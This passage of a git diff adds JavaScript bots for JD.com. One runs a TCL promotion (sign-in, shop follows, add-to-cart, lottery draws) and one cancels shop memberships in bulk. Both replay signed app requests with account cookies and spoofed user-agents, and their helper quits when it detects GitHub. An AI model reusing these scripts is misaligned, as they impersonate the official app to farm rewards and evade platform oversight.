') === -1) { + console.log(`未选择球队,去选择`) + await chooseTeam() + } else { + console.log(`已选择球队`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }); +} + +function chooseTeam() { + return new Promise((resolve) => { + $.post(taskUrl('/ql/front/tcl002/chooseTeam', `team=0`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + data = $.toObj(data) + console.log(`选择队伍结果:` + data.msg) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }); +} + +function sign() { + return new Promise((resolve) => { + $.post(taskUrl('/ql/front/tcl002/goSign'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + data = $.toObj(data) + console.log(`签到结果:` + data.msg) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }); +} + +function browse(type = 0) { + return new Promise((resolve) => { + $.post(taskUrl('/ql/front/tcl002/browesVenue', `type=${type}`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + data = $.toObj(data) + console.log(`浏览会场结果:` + data.msg) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }); +} + +function getShopList() { + return new Promise((resolve) => { + $.post(taskUrl('/ql/front/tcl002/showshopload'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + data = $.toObj(data) + for (let vo of data.data) { + if (!vo.followFlag) { + await browseShop(vo.id) + await $.wait(1000) + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }); +} + +function browseShop(shopId) { + return new Promise((resolve) => { + $.post(taskUrl('/ql/front/tcl002/goBrowseShop', `shopId=${shopId}`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + data = $.toObj(data) + console.log('关注店铺结果:' + data.msg) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }); +} + +function getGoodsList() { + return new Promise((resolve) => { + $.post(taskUrl('/ql/front/tcl002/showgoodsload'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + data = $.toObj(data) + for (let vo of data.data) { + if (!vo.itemFlag) { + await goPlus(vo.skuId) + await $.wait(1000) + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }); +} + +function goPlus(goodId) { + return new Promise((resolve) => { + $.post(taskUrl('/ql/front/tcl002/goplus', `goodId=${goodId}`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + data = $.toObj(data) + console.log('加入购物车结果:' + data.msg) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }); +} + +function draw() { + return new Promise((resolve) => { + $.post(taskUrl('/ql/front/tcl002/drawTcl002', ``), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + data = $.toObj(data) + message = '抽奖结果:' + data.msg + console.log('抽奖结果:' + data.msg) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }); +} + +function genToken() { + let config = { + url: 'https://api.m.jd.com/client.action?functionId=genToken', + body: 'uuid=8888888&client=apple&clientVersion=9.5.2&st=1619194107036&sign=8feb09628c3c7a76dd0f2f8a694eaf79&sv=100&body=%7B%22to%22%3A%22https%3A//mpdz-isv.isvjcloud.com/ql/front/tcl002/loadTclAct%3Fid%3DtclTeamAct002%26user_id%3D10299171%26comeResource%3D10%26bizExtString%3D4C8602ED441A318612CD57B4A16EB59EE8AF00C05E1043CAA3E9C10B6DA615700C9463CE3D33670238160230F84D490EE29440149504E2EB1EAD11840F8E2980DDDA672BF446E2FCC0D1D6B4E52826D1%22%2C%22action%22%3A%22to%22%7D', + headers: { + Host: "api.m.jd.com", + accept: "*/*", + "user-agent": "JD4iPhone/167638 (iPhone; iOS 13.7; Scale/3.00)", + "accept-language": + "zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6", + "content-type": "application/x-www-form-urlencoded", + Cookie: cookie, + }, + }; + return new Promise((resolve) => { + $.post(config, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`); + console.log(`${JSON.stringify(err)}`); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.isvToken = data["tokenKey"]; + // console.log($.isvToken); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }); +} + +function isvObfuscator() { + let config = { + url: 'https://api.m.jd.com/client.action?functionId=isvObfuscator', + body: 'uuid=8888888&client=apple&clientVersion=9.5.2&st=1619194362037&sign=1f829aab2583c598c1b6b1feeec5fe05&sv=101&body=%7B%22url%22%3A%22https%3A//mpdz-isv.isvjcloud.com/ql/front/tcl002/loadTclAct%3Fid%3DtclTeamAct002%26user_id%3D10299171%26comeResource%3D10%26bizExtString%3D4C8602ED441A318612CD57B4A16EB59EE8AF00C05E1043CAA3E9C10B6DA615700C9463CE3D33670238160230F84D490EE29440149504E2EB1EAD11840F8E2980DDDA672BF446E2FCC0D1D6B4E52826D1%22%2C%22id%22%3A%22%22%7D', + headers: { + Host: "api.m.jd.com", + accept: "*/*", + "user-agent": "JD4iPhone/167638 (iPhone; iOS 13.7; Scale/3.00)", + "accept-language": + "zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6", + "content-type": "application/x-www-form-urlencoded", + Cookie: cookie, + }, + }; + return new Promise((resolve) => { + $.post(config, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.token = data["token"]; + // console.log($.token); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }); +} + +function setCookie() { + return new Promise((resolve) => { + $.post(taskUrl('front/setMixNick', `strTMMixNick=${$.token}`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + let setCookie = resp.headers[sck]; + let dfs = setCookie.toString().match(/dfs=(.*?);/)[1]; + let jwt = setCookie.toString().match(/jwt=(.*?);/)[1]; + cookie = `dfs=${dfs}; jwt=${jwt}; IsvToken=${$.token}`; + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }); +} + +function taskUrl(functionId, body) { + return { + url: `https://mpdz-isv.isvjcloud.com/${functionId}`, + body: `userId=10299171&source=01&${body}`, + headers: { + Accept: "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + 'Cookie': cookie, + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + Connection: "keep-alive", + Host: "mpdz-isv.isvjcloud.com", + "User-Agent": 'jdapp;iPhone;9.5.0;14.0.1;370c564f3ec5abbbe14f1f9f46ac73742fd56f58;network/wifi;ADID/4F7F967C-F9D8-41DE-902A-D87F8D45113A;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone11,8;addressid/33553535;supportBestPay/0;appBuild/167638;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1' + } + } +} + +function taskGetUrl() { + return { + url: `https://mpdz-isv.isvjcloud.com/ql/front/tcl002/loadTclAct?id=tclTeamAct002&user_id=10299171&comeResource=10&bizExtString=4C8602ED441A318612CD57B4A16EB59EE8AF00C05E1043CAA3E9C10B6DA615700C9463CE3D33670238160230F84D490EE29440149504E2EB1EAD11840F8E2980DDDA672BF446E2FCC0D1D6B4E52826D1`, + headers: { + 'Host': 'mpdz-isv.isvjcloud.com', + 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', + 'Accept-Language': 'zh-cn', + 'Cookie': cookie, + "Accept-Encoding": "gzip, deflate, br", + Connection: "keep-alive", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, "", "不要在BoxJS手动复制粘贴修改cookie"); + return []; + } + } +} + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_unbind.js b/activity/jd_unbind.js new file mode 100644 index 0000000..805afb2 --- /dev/null +++ b/activity/jd_unbind.js @@ -0,0 +1,264 @@ +/* +注销京东会员卡 +是注销京东已开的店铺会员,不是京东plus会员 +查看已开店铺会员入口:我的=>我的钱包=>卡包 +脚本兼容: Quantumult X, Surge, Loon, JSBox, Node.js +==========Quantumult X========== +[task_local] +#注销京东会员卡 +55 23 * * 6 jd_unbind.js, tag=注销京东会员卡, img-url= https://raw.githubusercontent.com/58xinian/icon/master/jd_unbind.png, enabled=true +=======Loon======== +[Script] +cron "55 23 * * 6" script-path=jd_unbind.js,tag=注销京东会员卡 +========Surge========== +注销京东会员卡 = type=cron,cronexp="55 23 * * 6",wake-system=1,timeout=3600,script-path=jd_unbind.js +=======小火箭===== +注销京东会员卡 = type=cron,script-path=jd_unbind.js, cronexpr="10 23 * * 6", timeout=3600, enable=true + */ +const $ = new Env('注销京东会员卡'); +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; +const notify = $.isNode() ? require('../sendNotify') : ''; + +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const jdNotify = $.getdata('jdUnbindCardNotify');//是否关闭通知,false打开通知推送,true关闭通知推送 +let cardPageSize = 200;// 运行一次取消多少个会员卡。数字0表示不注销任何会员卡 +let stopCards = `京东PLUS会员`;//遇到此会员卡跳过注销,多个使用&分开 +const JD_API_HOST = 'https://api.m.jd.com/'; +!(async () => { + if (!cookiesArr[0]) { + $.msg('【京东账号一】注销京东会员卡失败', '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + } + await requireConfig() + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.unsubscribeCount = 0 + $.cardList = [] + await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdUnbind(); + await showMsg(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdUnbind() { + await getCards() + await unsubscribeCards() +} +async function unsubscribeCards() { + let count = 0 + for (let item of $.cardList) { + if (count === cardPageSize * 1){ + console.log(`已达到设定数量:${cardPageSize * 1}`) + break + } + if (stopCards && (item.brandName && stopCards.includes(item.brandName))) { + console.log(`匹配到了您设定的会员卡【${item.brandName}】不再进行取消关注会员卡`) + continue; + } + console.log(`去注销会员卡【${item.brandName}】`) + let res = await unsubscribeCard(item.brandId); + if (res['success']) { + if (res['busiCode'] === '200') { + count++; + $.unsubscribeCount ++ + } + } + await $.wait(1000) + } +} +function showMsg() { + if (!jdNotify || jdNotify === 'false') { + $.msg($.name, ``, `【京东账号${$.index}】${$.nickName}\n【已注销会员卡】${$.unsubscribeCount}个\n【还剩会员卡】${$.cardsTotalNum-$.unsubscribeCount}个\n`); + } else { + $.log(`\n【京东账号${$.index}】${$.nickName}\n【已注销会员卡】${$.unsubscribeCount}个\n【还剩会员卡】${$.cardsTotalNum-$.unsubscribeCount}个\n`); + } +} +function getCards() { + return new Promise((resolve) => { + const option = { + url: `${JD_API_HOST}client.action?functionId=getWalletReceivedCardList`, + body: 'body=%7B%22version%22%3A1580659200%7D&build=167490&client=apple&clientVersion=9.3.2&openudid=53f4d9c70c1c81f1c8769d2fe2fef0190a3f60d2&rfs=0000&scope=01&sign=aa00f715800e252fcebcb11573f4a505&st=1608612985755&sv=102', + headers: { + "Host": "api.m.jd.com", + "Accept": "*/*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br" + }, + } + $.post(option, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.cardsTotalNum = data.result.cardList ? data.result.cardList.length : 0; + $.cardList = data.result.cardList || [] + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }) +} +function unsubscribeCard(vendorId) { + return new Promise(resolve => { + const option = { + url: `${JD_API_HOST}unBindCard?appid=jd_shop_member&functionId=unBindCard&body=%7B%22venderId%22:%22${vendorId}%22%7D&clientVersion=1.0.0&client=wh5`, + headers: { + "Host": "api.m.jd.com", + "Accept": "*/*", + "Connection": "keep-alive", + 'origin': 'https://shopmember.m.jd.com', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': `https://shopmember.m.jd.com/member/memberCloseAccount?venderId=${vendorId}`, + 'Cookie': cookie, + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br" + }, + } + $.post(option, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data) + console.log(data.message) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function requireConfig() { + return new Promise(resolve => { + $.UN_BIND_NUM = $.isNode() ? (process.env.UN_BIND_CARD_NUM ? process.env.UN_BIND_CARD_NUM : cardPageSize) : ($.getdata('UN_BIND_CARD_NUM') ? $.getdata('UN_BIND_CARD_NUM') : cardPageSize); + $.UN_BIND_STOP_CARD = $.isNode() ? (process.env.UN_BIND_STOP_CARD ? process.env.UN_BIND_STOP_CARD : stopCards) : ($.getdata('UN_BIND_STOP_CARD') ? $.getdata('UN_BIND_STOP_CARD') : stopCards); + if ($.UN_BIND_STOP_CARD) { + if ($.UN_BIND_STOP_CARD.indexOf('&') > -1) { + $.UN_BIND_STOP_CARD = $.UN_BIND_STOP_CARD.split('&'); + } else if ($.UN_BIND_STOP_CARD.indexOf('@') > -1) { + $.UN_BIND_STOP_CARD = $.UN_BIND_STOP_CARD.split('@'); + } else if ($.UN_BIND_STOP_CARD.indexOf('\n') > -1) { + $.UN_BIND_STOP_CARD = $.UN_BIND_STOP_CARD.split('\n'); + } else if ($.UN_BIND_STOP_CARD.indexOf('\\n') > -1) { + $.UN_BIND_STOP_CARD = $.UN_BIND_STOP_CARD.split('\\n'); + } else { + $.UN_BIND_STOP_CARD = $.UN_BIND_STOP_CARD.split(); + } + } + cardPageSize = $.UN_BIND_NUM; + stopCards = $.UN_BIND_STOP_CARD; + resolve() + }) +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let 